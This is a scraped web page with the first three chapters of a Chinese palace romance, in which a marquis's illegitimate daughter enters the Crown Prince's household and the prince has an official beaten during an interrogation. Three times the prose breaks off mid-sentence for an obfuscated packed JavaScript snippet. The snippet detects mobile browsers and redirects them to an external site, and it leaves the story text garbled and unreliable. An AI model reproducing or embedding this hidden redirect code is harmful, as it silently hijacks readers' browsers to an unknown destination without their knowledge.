《太子殿下又破防了!》 1. 第 1 章 宋轻风曾在一副字画里见过皇宫。 却不想而今站在面前,这巍峨宫城还是让她心神震颤。 宫门如山石一般矗立在面前,檐角的金饰在日光下晃动,晃得她微微闭了眼睛。 她缓缓抬头,视线落在门上那枚青铜色的兽首上。 她下意识抓了抓衣摆,搓动了衣裳上的刺绣,刺绣像是一粒粒小针,刺得她指尖微微酥麻,却压不住躁动乱跳的心脏。 就是这里了。 宋轻风深吸口气,眸光略过那厚重的宫门,似乎穿过了层层红墙金瓦,落在某处,某个人的身上。 心跳声咚咚敲击着耳膜。 “兰哥哥。。”她喃喃唤了一声。 昨夜宫宴,灯影交错,人声鼎沸。她原躲在角落里一个人喝酒,哪知却在抬头的瞬间,一抹白衣就这样撞进了眼里。 少年的身影从长廊尽头缓缓而来,身型修长,衣袂如霜。 她呼吸一窒,手中的酒壶跌了地,几乎怀疑是喝多了出现幻觉。 那一刻周遭的一切全都褪去,只剩下那人冰雪一般皎洁的面容。只是少年的眉目隐在昏黄的灯火里,也晃花了她的眼。 她一把拨开人群跌跌撞撞上前,扑在了他的身上。 “兰。。” 华贵的锦锻触手冰凉,沉郁而陌生的味道弥漫开来。 被冒犯的少年目光扫过来,透着森森冷意,陌生的目光里是让人心悸的凉意,连那原本会显妖娆的眼角痣,都透着生人勿近的高傲。 她心尖一颤,“哥哥”二字卡在咽喉,滚烫的心瞬间落入冰湖一般凉了彻底,眼角酸涩四起。 他不是他。 不过是个有些相似的陌生人。 后来她才知道,这人乃是当今的皇太子殿下。 全天下最尊贵之人。 而今就住在这东宫里。 握紧的掌心微微出了汗,将衣摆都染湿了,宋轻风索性松开了手掌,在衣裳上擦了擦,走上前去拍了拍兽首口中叼着的铁环。 却听“哐当”一声轻响,一旁的侧门从里头开了。 门后森森,一道阳光斜斜地穿过,落在门后的红墙之上。宋轻风抬眸看去,宫檐高耸,飞鸟掠过屋顶投下短暂的阴影, 层层殿宇,在阳光之下刺目而绚丽。 “这位姑娘是你敲的门?” 宋轻风被拉回了思绪,见几个黑甲守卫警惕地看着她,其中一人严肃地道:“这是东华门,宫城重地,不是你一个姑娘逗留之地。” 宋轻风似没看到几人目光,从怀里掏出一卷文书,双手递上,笑道:“几位大人请过目。” 那侍卫疑惑地接了过来,不过瞧了一眼,立时惊异地抬起头,结结巴巴地道:“莫非,莫非姑娘就是宁安侯府的那个宋宋。。” 宋轻风笑道:“正是在下。” 昨夜宫宴上的风波一夜之间早就传遍了京师,听闻那个宋氏女为了攀上高枝,居然敢扑到太子殿下身上,结果没被侍卫剁成肉泥,却被陛下赐进了东宫,成了太子殿下的侍妾。 一时满城风雨,传得沸沸扬扬。 不想此刻这鼎鼎大名的女子居然就站在了他们面前! 传言都说她生得妖媚惑主,几人看着面前穿着红底蝴蝶百花褶裙的姑娘,面目清秀干净,一时满目怀疑。 宋轻风看着几人模样,眉眼弯弯地好心道:“别怀疑了,那个传言中的人就是我,如假包换,总不能有人敢来冒名顶替。” 几个侍卫变了脸色,领头的讪讪笑道:“姑娘稍等。”说着飞快地奔了进去。 不一时,却见一个穿着紫色锦服的大太监匆匆从里头出来了。 这大太监生得面皮白净,眉眼清正,便是不言也似带着几分笑意,正是方华殿太监总管全福。 全福听见人来报一时还不信,此刻远远瞧见这宋氏女果然直挺挺地站在门口,一时面色复杂,忍不住骂娘。 怎么陛下昨夜方下的旨意,今日一早人就上了门! 这帮皇城司的畜生,何时快成这般地步了! 太子殿下今晨行得匆忙未及交代以后要如何安置她,此刻殿下人在大理寺审案,他也不敢为着这点事前去打扰。 可她再不济,到底是御赐的人。 何况人已站在了东华门,这么多双眼睛看着,更不能将人撵回去。 眼下如何安置,全福一时犯了难。就怕万一一个不慎,给殿下带来祸端。 他一路想来,只好硬着头皮上前道:“宋姑娘。” 宋轻风从神游里回过神来,笑了起来,点头招呼道:“这位公公好。” 阳光打在她的脸上,唇角轻扬,落落大方,毫无忸怩之态。 全福昨夜听闻是宁安侯家的女儿冒犯了太子殿下,一时恨得牙痒。 宁安侯宋怀德承了祖上的荫蔽,袭了爵位,却整日游手好闲流连花丛,连个正经职位也无,是京师里头出了名的混不宁。 果然他家的女子,也是混不宁!胆敢缠上太子殿下,做出这样令人不齿的事来! 她此刻再做出如何模样,全福也没什么好脸色,只是冷笑了一声道:“太子殿下此刻不在东宫,姑娘且先随奴婢进去等候吧。” “好啊。” “等。。等等我!!” 突然身后传来一个急切的喘息声,几人回头一看,一个圆滚滚的身影如球一般地奔了过来。 跑到近前险些刹不住脚,连连叫道:“可算赶上了。” 等众人瞧清,才发现圆滚滚的人正是宁安侯宋怀德。 宋怀德醉了一夜方醒,却听闻宋轻风一个人走了,慌不迭地追了来。 此刻果然瞧见宋轻风无事人一般看着他,不由咬牙低声道:“死丫头,你怎么一声不响地自己就来了?!看我以后不打死你!” 宋轻风笑着打趣他道:“老头你平日一步三喘,今日倒是跑得飞快。” 宋怀德撇了一眼,没空理她,立时又挂了谄媚的笑,点头哈腰地道,“怎么是全福公公您亲自来接小女,您今日没在太子殿下跟前伺候?” 全福瞧见他来,只恨不得踹死他。若不是他教出来的好女儿,何至于会有这样的事! 宋怀德却不以为意,自顾嘿嘿笑道:“小女承蒙皇恩能入宫伺候太子殿下,实在是我宋家祖坟冒了青烟啊,今日臣要一起来,给太子殿下磕头谢恩。” 全福看着这对父女,一个圆滚滚的面目可憎,一个故做无辜却不知是什么心肠的姑娘。 心中鄙夷,不由甩了拂尘,拉了脸道:“一起进来吧。”说完也不等二人,自顾当前走了。 宋怀德屁颠颠跟着,宋轻风缀在最后。 抬脚踏进门槛的一瞬间,她却不自觉回头看了一眼。 宫门外阳光依旧刺眼,远处的街道上似乎已开始人声鼎沸。 她下意识握了握系在腰间鼓囊囊的荷包,低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14885577|159870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声呢喃:“兰哥哥,等我。” 。 正是晌午时候,外头太阳正好,照得天地明晃晃一片。 不想大理寺内却是一团昏黑,只有几盏烛火摇摇曳曳。 外头的热意从关紧的门窗缝里钻进来,竟很快消散,叫众人只感到浑身的寒意。 烛火噼啪作响,映着屋内一人,身量不高,体型微胖,穿着一身深紫色仙鹤纹绣锦袍。 他腰背微躬,下颌的灰白胡须随着说话的动作微微抖动:“太子殿下,臣周和光入朝三十余年,承蒙先帝及当今陛下的厚爱,不敢说有何治国安邦的大才,但也承圣人教诲,勉强算一身清正。” “安西四镇此次地动,波动范围大,牵连甚广,数万生民失所,臣很是痛心,又岂会昧着良心挪用赈灾款项,行此祸国之举?” 他虽上了年纪,话音却掷地有声,角落里的灰尘都震飞了起来。 然而屋内静静的。 周和光等了半晌,未听到回音,不由眉眼微抬,余光里瞧见上首的袍角纹丝不动。 他屏了一上午的气终于松懈下来,不由心中冷笑,想来自己先头的紧张到底是庸人自扰。 纵使他是太子殿下又如何?他与旁人是不同的,他乃是有依仗的! 想到此,周和光的腰背不自觉硬挺起来。 “太子殿下,臣该交代的都已交代了,实在是没什么可说的了。” 说着抬起头,甚是无礼地盯着上首的人:“臣只主理户部,对这查案审问之事也是无能为力,帮不到殿下。殿下若是没什么其他吩咐,臣先行告退了,署里还有几件庶务,需要臣去处理。” 说着也不等上首人发话,随手拱了拱,转身就走。 哪知门口踏出一身材魁梧之人,手臂如铁棍一般伸出拦住了去路,冷冷地道:“太子殿下还未发话,周大人稍待。” 周和光方要推开他,却猛地瞧见这人手上未干的血迹,这才发觉脚底似乎踩到了黏腻的东西。 低头一看竟是满地黑红的血。 他心头发怵,想起方才在偏厅等候时听到的凄厉惨嚎声,刚硬起来的气泄了小半。 转而又想到自己的凭恃,一咬牙心道怕什么! 遂回过身,梗着脖子道:“太子殿下这是何意?这是想要拘禁臣?” 说着顿了顿,眼睛微眯,语意不明:“您是太子殿下,是国之储君,今日若是非要让臣来担什么罪名,那臣也无话可说,只能一起去御前辨个分明了!” 他的声音不高,却叫屋内所有人都听得分明。 这般话,就差直说太子殿下准备要强加罪名于他! 周围立着的几人一时忍不住倒抽口气,却不敢开口,全都下意识向上首看去。 上首长颈铜制的八角灯台下,坐着一个文弱的少年,一双玉白的手轻轻搭在膝上,白底金边的锦袍在烛火照耀之下熠熠生光。 那少年闻言却轻笑了一声,终于开了口:“周大人一番慷慨陈词令人感佩,孤自来就喜欢这般嘴硬之人。” 说完一只手微抬,淡声道:“孤原想给你几分体面,可想来不吃些苦头,总是难叫你们开口。” 周和光面色一变,方要开口,却见旁边大理寺卿曹宏徒急急出列,满脸惊慌地躬身回道:“太子殿下,陛下有旨,周大人年事已高,又是两朝元老,审问可以,万不可刑讯。” 李岏抬起的手放了下来,好一会应道:“哦。” 2. 第 2 章 周和光目中露出得意,他自陛下少时便服侍陛下,为陛下挨过打,挡过刀,是陛下最忠心耿耿的一条狗! 此番进大理寺之前,他特去请了这道保命的圣旨。 有陛下的御旨在手,谁敢动他一根手指头! 呵,便是太子殿下又如何?还不是只能乖乖放他离开! 周和光理了理袍角,冷笑一声道:“太子殿下若没其他吩咐,老臣便先告退了。各位大人辛苦了,等办结了此案,老夫定向陛下请旨,好生犒劳诸位。” 说完对着周围众人大笑了一声,转身便要离开。 屋门方要打开,一丝阳光自缝隙透进。 李岏低下头,看了看手中的文书,不自觉掌心握紧,纸张发出簌簌的声响。 一抹暗色自眸中闪过。 他抬起头,看了一眼门口的魁梧侍卫,道:“高守。” 方才那侍卫高守得令,不待众人反应过来,一把伸出脚来,狠狠踢在了周和光的膝弯处。 只听扑地一声,一丝令人牙酸的折断声响起。 周和光膝弯处剧痛袭来,整个人扑跪在地。 好一会他才反应过来,不敢置信地惊叫道:“太子殿下!陛下有旨,您问话可以,不得对臣刑讯逼供!您是要抗旨吗!” 李岏抚平了手中褶皱的纸张,声音淡淡的瞧不出什么变化:“孤何曾刑讯逼供?更不敢抗旨。不过是瞧你这老头有些碍眼,打一顿罢了。” “你!” 周和光气得语塞,哪知已有两个东宫卫上前,一人举起手臂粗的宽木板,毫不留情向着他的背臀击打下来。 那板子本就又宽又厚,挟着全力一击,如雷霆一般,轰隆一声。 “啊!” 周和光忍不住惨叫出声。 旁边站着的众人一时惊地说不出话来,几位陪审汗如雨下,急切地跪地道:“太子殿下!” 李岏已摆手打断,冷漠地道:“莫要多言。” 众人求情的话卡在喉间,只能眼睁睁看着场中周和光如破布烂絮一般,被打在地。 这杖也如打在众人的心上,各个面无血色。 周和光面色紫涨,双目血红,咬牙叫道:“太子殿下!您这是要迕逆。。这是大。。” 还未说完,口中已被迅速塞入了一大团脏臭的布条,后头的话被堵,只能发出呜呜地的声音。 他口舌被堵,发不出惨叫,疼痛便如被困在了身体之中,得不到宣泄。 烛光之下,一丝血溅起,撒在了白墙之上。 周和光出身高门,又是当今陛下少时伴读,一路仕途顺当,为官这么多年,何曾受过半点皮肉之苦? 直到今时今日,才知这廷杖的恐怖。 当真如重锤之于破鼓,丝毫不用怀疑,不用十下,自己这把老骨头就将被敲得粉碎,甚至浑身皮肉将被打成一滩肉泥。 然而还没从恐惧里回过神来,密雨般的痛击已是紧随而至。 惨叫声闷在口中,令人胆寒。 周和光瞬间心胆俱裂,浑身抖如筛糠,不过几下,官服已浸在血中,黏在了身上。 他勉力抬起头,模模糊糊的视线里,瞧见上首的年轻人一身白金华服地坐着。 怎么也未想到,太子胆敢行此背逆之事,此刻却毫无半点不安,只是安安静静地低头看着手中一份展开的卷宗,眉眼间分明全是冷漠与慵懒,看也未曾看上自己一眼。 周和光忍不住心神震颤。 他怎么敢!他怎么敢罔顾圣旨,对自己动刑! 难道真的敢杀了自己?! 不,他一定在赌! 他在赌自己会受不住杖刑,将所有事招供出来! 可是,可是这赌盘之上,却是自己的命! 即便是太子赌输了,失手打死了自己,那又如何? 周和光一颗心剧烈的下沉,此刻才突然明白,即便是赌输了,太子失手打死了自己,又会如何? 凭他而今的权势,陛下还能为了自己这么一个人与他反目? 李岏看完了手中的文卷,抬起头来,手一松,那张白纸黑字便慢悠悠飘了下来。 他抬了抬手。 行刑的侍卫立刻住了手。 李岏嘴角噙着丝冷笑,眸子隐在灯火之下,与周和光道:“卿要不看看这个再想想?” 可怖的杖停了下来,周和光冷汗涔涔而下,口鼻全是血腥,他趴在地上喘了会粗气,才勉力睁眼。 一眼瞧见飘在面前的白纸上赫然是密密麻麻的几行字。 不过扫了一眼,他满是胡须下的面皮瞬间褪了血色,浑身抖如筛糠。 豁然抬头看着上首的人。 昏暗的室内,只有上首的灯燃着,烛火晃动,上首的人在灯影下忽明忽暗,面目模糊。 他周和光今日犯的最大的错,便是心里一直当他还是个未长大的孩子。 瞧起来分明还是文弱的少年,却早已不是自己以为的黄口小儿。 李岏道:“卿有话想说?” 脏污的布自口中被取了出来,周和光吐出满口的血,埋首在地:“臣愿意全都交代。” 李岏面上却并无半分得意,只是冷淡地道:“拿纸笔。” 。 “瞧见了吗?就是她。生得这般模样,就敢勾引太子殿下。” “果然是为了攀高枝,不择手段。” “以为进了宫就是人上人了?太子殿下自然是不待见她这种人,叫她好生在此站上些时辰。” 西跨院子里头,宫人们来往络绎不绝,对着院中站着的两人指指点点,议论纷纷。 宋轻风充耳不闻,自站在树下,抬头看着头顶四四方方的天空发呆。 而一旁宋怀德如热锅上的蚂蚁,激动地走个没完,有心想要去呵斥这些人,又不敢,只能嘴里念念有词。 夕阳下沉,暮色四起。 宫城各处都笼上了寒烟,要等的人却迟迟未见。 两人已被晾在院子里大半日。 宋怀德紧张的浑身冒汗,双眼发蒙,走得腿酸,瞧见着从晌午等到傍晚也未得召见,忍不住道:“乖乖!难道是殿下这是后悔了!不过是酒后胡言,不准备认了!” 他越想越觉得可能,又忍不住去瞧自己的女儿。 宋怀德越看心头越有些发虚。 这女儿虽然生的清秀有之,长得不赖,可却干巴巴的,哪比得上那些京师富贵堆里滋养出来的白牡丹们! 能被赐进宫来,全凭昨夜黑灯瞎火的。 “昨夜便该生米做成熟饭,哪能叫他们反悔了!若是成了,哪能叫我们站在这里这许久。” 宋轻风彷佛没听到老爹的一声声大逆不道的喋喋不休,也未听到宫人们的风言风语。 随着等待,她紧张凌乱的心反而渐渐平息下来。 暮色中有些寒意升起,她从怀里慢慢摸出一个拇指大的葫芦小壶,用牙咬开塞子,喝了一口。 一丝辛辣划入咽喉,顺着胸腔落入腹中。 她深吸口气,抬了抬手,似是指着虚无中的某处,而后才道:“老爹,你知道太子殿下是什么样的人吗?” 宋怀德怎么也没想到有一日自己会和传说中高高在上的太子殿下扯上这样的关系! 他整日在京师青楼楚馆里厮混,关心的只是哪家的姑娘更漂亮,手感更丰腴些,哪里注意过太子殿下这样遥不可及的人物!那是他这种人提都不能提的存在。 听女儿这样问,他眼睛一瞪,自然也不能说自己不知道,只是得意地道:“我怎么不知,太子殿下那自然是顶顶心善的,昨夜你那般冒犯他,都没有打死你,今日也不过叫你站上一站。说来昨夜我偷偷打眼一瞧,那是天上的神仙一般的人物!” “神仙?” 宋轻风喃喃重复,而后一扬脖子将手中小葫芦里的酒喝净了。 这才突然笑道:“老爹说的不错,是神仙。” 兰哥哥若是不在了,自然会成为天上的神仙。 或许是他在冥冥之中,指引着自己来到此处。 宋怀德见女儿又靠在树干上发呆,一丝酒香飘来,他这才发现她手中拿着只小酒壶,不由面色一红也要喝。 宋轻风将小葫芦反转,歪着头表示一滴都没有了。 宋怀德忍不住骂道:“白眼狼的丫头片子!居然也不给你老子留一口!白亏了老子将你从死人堆里刨回来!” 若不是今年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14885578|159870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年中自己偶然去了回安西,将她给认了回来,成了侯府的尊贵小姐,此刻还不知有没有命活着! 又怎么有这个造化进东宫来? 宋轻风无奈地摊手道:“您要喝不早些说,就这一点,可真没有了。” 宋怀德却一眼瞧见她腰间挂着的鼓囊囊荷包,一步上前就道:“分明你这里还有!居然藏着舍不得给我。” 宋轻风闪身避开,捂住荷包道:“这可不能给你。” 。 从大理寺大堂出来,秋日热烈的阳光已经西下,夕阳挂在天边,撒下最后一丝余晖,出来的几人都有些晃花了眼。 众人终于从一天的惊心动魄里释放出来,下意识拧了拧浑身汗湿紧贴的衣裳。 抬头却见太子殿下负手站在檐下,夕阳余晖打在面上,照得他原本便如玉脂般的皮肤更是白的透明,细小的绒毛都透着光。 在这白雪一般的面容中,眼角下的一粒小红痣愈发显眼,更添风致。 瞧着真是一翩翩少年郎。 可没人敢这么想。 今日堂上受审的五人,皆是朝中三品以上的大员,各个是难啃的骨头。 不想今日无不凄惨地跪在地上,受了轮番酷刑,挂着满身的血,便是那位有陛下的圣旨相保,也未能幸免。 他们主理刑狱多年,瞧见这些大人的惨象,也有些不忍细看。 面前这位主上,瞧着年弱,又是一副偏柔和的好相貌,叫人生了错觉。 以至于。。 正想着,曹宏徒突然瞧见太子殿下接过旁边人递来的雪白帕子,漫不经心地将手上不知何时沾染的一滴血细细擦净了。 那白帕子上刺眼的一点红,叫他不由将头埋得愈发地低,不敢再胡思乱想。 李岏并未转头,却开口道:“卿怕了?” 曹宏徒忙埋下头道:“臣不敢。” 李岏扯了扯嘴角,面上却殊无笑意,这些人耍了一辈子嘴皮子,功夫精湛,只是却从未真正受过刀斧加身之苦。 对付他们,唯有刑罚才最有效。 他冷了声音道:“敢动安西四镇的赈灾款,不管是谁,孤都不会手下留情。” 说着走下了台阶,却又顿了顿,回身道:“找个大夫来瞧,不管用什么办法,这几日可别叫人死了。” 曹宏徒忙点头应是。 李岏又道:“还有,今日之事,你只管如实呈报给陛下。” “是。”曹宏徒下意识应是,待反应过来,慌忙连连摆手道,“不敢,不敢。” 李岏懒得再说,转身上了马车。 “殿下是入宫觐见吗?”一旁侍从问道。 李岏看了看日头,倦意蔓延全身,吩咐道:“回东宫。” 方华殿外,琉璃瓦在夕阳之下流转出淡淡金光,檐下风铃轻轻晃动,发出细碎的叮咚声。 一队黑甲侍卫肃然伫立。 全福想到此刻在西侧院的人,心头生了焦急,几次伸出脖子张望。 好一会终于瞧见一群东宫卫护卫着镶金嵌玉的马车来了。 全福心头再急,却面上不显,见车停稳了,这才上前掀开车帘轻唤道:“太子殿下。” 李岏自打盹里惊醒过来,双目隐含血丝,瞧见全福,这才知不过这一会功夫自己竟睡着了。 全福搀着他下车道:“太子殿下,您可算回来了,您今日一早行得匆忙未用膳,也不知午膳用好了没有。” 李岏嗓音微哑:“孤困,先睡会。” 全福欲要相劝,却见太子殿下已是摆了摆手。 他这才道:“那奴婢进些糕点您先用些垫垫腹。” 说着却又有些欲言又止,眼睛往旁处转了转,眼见着殿下要进殿门,再不说只怕没机会了。 遂小心翼翼地道:“太子殿下,有一事奴婢还要请您的示下。” “什么?” “那…那宋姑娘今日一早就来了。。。” “宋姑娘?”李岏脚步不停,进了殿脱了衣裳一把瘫坐在椅子里。 全福忙上前跪下给他脱下皮靴,边脱边偷偷觑着主人的脸色,陪着笑脸道:“就是昨夜,昨夜在宫宴上不小心冒犯了您的那个。。那个宋氏女。” 3. 第 3 章 李岏眉心微皱,脑海里不由浮现出一双似乎闪着烛火的双眸。 他长这么大,谁见了不是恭恭敬敬,低眉敛目地远远地行礼。 何曾想过有女子大胆如此!竟直接扑到他的身上来。 更没想到,她扑过来便紧紧抓着他的袖子,面对他,目光却毫不闪躲,只是睁着黑黢黢的眸子定定地看着他。 他从未见过这样大胆的目光,明亮又似藏着迷惘,似深潭一般看不见底。 竟叫他一时忘了动作! 不想这一幕却叫陛下瞧见了。 陛下正喝得醉醺醺,瞧见此间事呵呵笑着与身旁人道:“太子未推开那女子,想也是瞧得过眼。太子到底长大了,既如此,那便给太子做侍妾。” 此事就这样成了定局。 太子殿下年近十八,东宫姬妾一个也无,正准备议亲太子正妃和侧妃。 而今陛下指了她说是侍妾,虽没给正经位份,可到底是东宫殿下的第一个女子,比太子妃入府还要早。 场间一时安静地一声也无,众人不想这女子手段如此粗鄙不堪,却成功地飞上了枝头。 他那时甩开了手,并未出言。 只是低头时,却分明瞧见那女子听到旨意后脸上的笑容,不知是否是过于开心,竟是热泪盈眶。 不过一夜时间,这女子居然已来了东宫? 这般急不可耐。 想及此,一丝不易察觉的厌烦之色自李岏的眸中一闪而过。 他今日在大理寺杖打了周和光,忤逆了陛下的圣旨,而今便不能再在这种小事上给陛下难堪。 若是传进大内去,又是麻烦。 全福见他不语,心头打突,小心翼翼地道:“殿下,奴婢将人带进来拜见殿下?” 李岏沉了脸,低头就着太监捧来的水仔细净了手,过了好一会才扔了巾帕道:“不必见了。这种小事,你不会自己安排?” 盆里的水溅了出来,跪在一旁侍奉的小太监吓得浑身一抖,将头埋得愈发地低。 全福立时知道殿下对此事极为不满,只是忍着没有发作出来。 遂忙又道:“原本不敢叨扰太子殿下,只是。。” 这女子乃是陛下亲自指来的东宫,他怎么敢随意处置。便是晾在西侧院里这半日,已是叫他心惊胆颤,坐立难安。 他不敢明说,只是舔着笑脸道:“她到底是宁安侯府的高门小姐,身娇体弱,在院子里候这大半日,奴婢瞧着脸色惨白,似有不支。” “殿下您看,接下来该如何安置?” “宁安侯的女儿?” 侯府的千金未必做得了太子妃,但是做个侧妃却是够的,怎么却是只给他做了个没名分的侍妾? 全福见问,只好小心地觑着他的面色回道:“这。。这宋姑娘是安宁侯在外头与人生的。。” 李岏圈在椅子里,忍不住就要笑出声来。 难怪。 这宋氏,是侯府庶出也就罢了,居然还顶着私生女的名头。 大族之家,私生女本就名声难听,难以入宗谱,更上不得台面。 而今他正要议亲,陛下却先塞了个私生女入东宫,难说是临时起意还是故意为之。 全福见殿下脸色已冷到了极点,想着缓和一下氛围,只好硬着头皮道:“听说宋姑娘原在安西一带流浪,今年方认回来的。这姑娘倒也是命好,提前几个月来了京,躲开了安西四镇今年这么大的地动。不过想必她对安西一带的情形也熟悉,殿下若有需要,倒是可以问问?” 要了解安西的情形自有其他人,李岏明白他的意思,不过是怕他一时处置了这女子,这才寻个由头罢了。 不由不耐烦地道:“该怎么办便怎么办,按着宫规就是。” “是。”全福忙应下,一颗心落了地,他担心了一天,生怕殿下倔脾气上来,再惹得陛下不快。 此刻放下了心,笑眯眯地试探道:“那奴婢这就去准备,让她好生梳洗一番,今夜就服侍殿下?” 李岏不耐烦地摆手让他自去安排。 全福忙答应着准备去办。 却见殿下目光抬起看向了远处架子上的一只锦盒。 他心领神会,忙蹑手蹑脚地上前去,自架子上取下盒子,躬身呈了上来。 李岏接了盒子,伸出手指摸了摸盒身,忍了一日的脾气随着抚摸慢慢落定下来。 再难,他总是要争一争的。 “若是宫里有人来,就说孤身体不适恐染了君父,明日再去。” “是。殿下不适,奴婢去请李院判来?” 未等到回答,全福抬头,却见殿下已整个人躺在躺椅上头,抱着盒子闭起了眼睛,已然睡着了。 他忙闭了嘴巴,叫左右人去拿轻薄的被褥盖上。 。 父女两个在院子里正自为了口酒你追我赶,突然身后传来落叶被踩过的声音。 宋轻风停下脚步转过身。 宋怀德肥胖的身子险些撞在她的身上。 全福伺候完太子殿下就寝,安排人随时伺候着,自己就往侧院来。 远远瞧见那宋氏父女二人被晾在院子里半日,居然还在院子里奔来跑去,体统全无,分明是小人得志,志在必得的嘴脸。 心中愈发为殿下不平。 殿下越是什么也不说,他越是心中难受! 想到太子殿下白雪一般的人物,不想竟叫这些人给玷污了。 全福双眸暗了暗,咬牙忍着气上前来,却见宋轻风已是先一步上前,双颊微红,忍不住问道:“全福公公,是太子殿下宣我们了吗?” 全福略微弯腰做了礼,这才尖声尖气地道:“姑娘且跟我来。” 一旁宋怀德忙如圆球一般奔过来,挂了一脸谄媚的笑道:“全公公,那臣呢?太子殿下宣臣了吗?” 这种混不拧,也想求见太子殿下?宋轻风是陛下御赐的他没有办法,可宋怀德却没有这道金牌。 全福看也不看他一眼,只是斜着眼睛道:“太子殿下政务繁忙,没空见宁安侯爷。” 说着就当先走了。 宋轻风见宋怀德一脸的失望之色,恐生出事端,遂与他道:“老爹你不若在这里磕个头赶紧回去吧,您今日入了东宫,在此又呆了大半日,这可不是一般人有的造化。” 宋怀德立时眉开眼笑:“说得也是。” 他心中一时猫抓一般,急不可耐地要回去好生吹嘘一番才是正经。 安抚走了老爹,宋轻风加快脚步追上全福。 两人在昏黄的天色里走了一会,便来到一道宫门前。 不等敲门,门里立时走出来几个衣着光鲜的嬷嬷,各个四十岁上下,出来便与她和全福行礼。 全福与她们道:“几位都是德高望重的老嬷嬷,请将宋姑娘好生梳洗一番,侍寝的规矩要讲细致了,万不能出半点差错。” 几个嬷嬷具都深深盯了宋轻风一眼。 她们虽然看多了宫内争宠的伎俩,但直接往男人身上扑的,倒是头一个。 扑完没被大内侍卫剁成肉泥,还被陛下亲自下旨赏赐的,那更是旷古未有。 真是走了狗屎运!果然人的命是挣出来的。 这宋氏虽然入宫的手段不光彩,如今也是没有具体名分的侍妾,可她是御赐的,更何况谁知会不会得了殿下的宠爱,一跃上枝头。 高嬷嬷忍住扭曲的面容道:“公公您放心吧,保准错不了,宋姑娘,请随我们来吧。” 全福要走,却感到衣袖被人拉住了。 他转过头来,却见宋轻风瞪着黑眼睛,声音里一丝不易察觉的颤抖:“侍。。侍寝?是要服侍太子殿下吗?” 她终于怕了。 全福下意识宽慰她道:“那是自然。今夜过后,姑娘可是东宫里头的正经主子。” 身为殿下第一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14885579|159870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宠幸的女子,下半辈子可保衣食无忧。 哪知原本紧张的宋轻风,眸子里却立马溢满喜色,毫不遮掩地笑道:“那一会就能见到殿下了?太好了!” 全福真想给自己一个嘴巴。 瞧她这得意劲,这种人他还宽慰个屁! 宋轻风还没笑完,已被几个嬷嬷拉进屋子里,屋内白雾缭绕,热水已准备妥当。 不过瞬间便被脱光了按进了水里。 被温暖的水包裹,瞬间让她舒服地忍不住想要哼出声来。 几个嬷嬷撇着嘴仔仔细细地打量了一番,发现她竟是生得一副好模样,只是与高门女子不同,她这种美,就像是野外山谷里的花,热烈却不尊贵。 果然野地里长大的,哪里来的尊贵。 与那几位极可能的太子妃人选相比,那自然是比也不能比的。 几人虽心中鄙薄,态度却恭谨,面上都挂着和煦的笑。 只是手下却忍不住对着那白嫩的皮肤加了力。 一通擦洗,直洗得皮肤泛红,快要搓掉几层皮来。 为首的高嬷嬷细长的眼珠一转,从贴己里取出一只金光闪闪的蝴蝶样金钗步摇道:“我瞧着这步摇倒是与姑娘相配。” 宋轻风被吸引过来,忍不住惊叹到:“好美啊!” 她还从未见过如此精美的首饰,尤其上头的两只金蝶,在晃动中闪着流光,当真是夺光溢彩。 旁边几个嬷嬷不甘示弱,也上前来,每人都拿着个首饰,上前与宋轻风道:“姑娘若是喜欢,今夜就戴着这些。” 宋轻风将这些首饰左瞧右瞧,各个爱不释手。 一嬷嬷上前给她梳妆,将这些首饰全都插戴在她头上,瞧起来莫名有些好笑。 另一个小心翼翼从怀里掏出个书来,递给她道:“姑娘先自个好好看看。” 宋轻风不明所以,接过书,哪知映入眼帘的是一男一女交织在一处,都光着身子。 翻到下一页,这两人还光着,只是姿势变了。。 老嬷嬷双目牢牢地盯着她,见她双睫微颤,面色发红。 便一把夺回了书道:“这乃是宫廷禁书,不能多看,姑娘看几眼明白个意思就行了。” 宋轻风手中一空,可惜正在梳妆,头不方便扭,只得余光瞧见那老嬷嬷宝贝地将这本已经翻烂了的书裹了几裹,小心翼翼地塞进怀里。 她忍不住想告诉她,这样的书三文钱就能买到,她就有好几本。 比这本又新又好看。 内容还新奇。 高嬷嬷站在一旁,脸色却转了严肃道:“能伺候太子殿下是你几辈子修来的福气。下面我与你讲讲这侍寝的规矩,可千万要听仔细了。” “好。”宋轻风点头。 。 李岏不过睡了片刻,就醒了。 他方坐起来,内侍们便听到了动静,忙鱼贯而入伺候他起身洗簌。 全福立马上前来,接了他手中的盒子小心翼翼在架子上放好,这才躬身道:“太子殿下,宫中差了人来,说是陛下请您入宫一趟。奴婢说了您身体不适的话,但那内官却一直在外头候着。” 李岏漠然地道:“我饿了,先用点饭。” 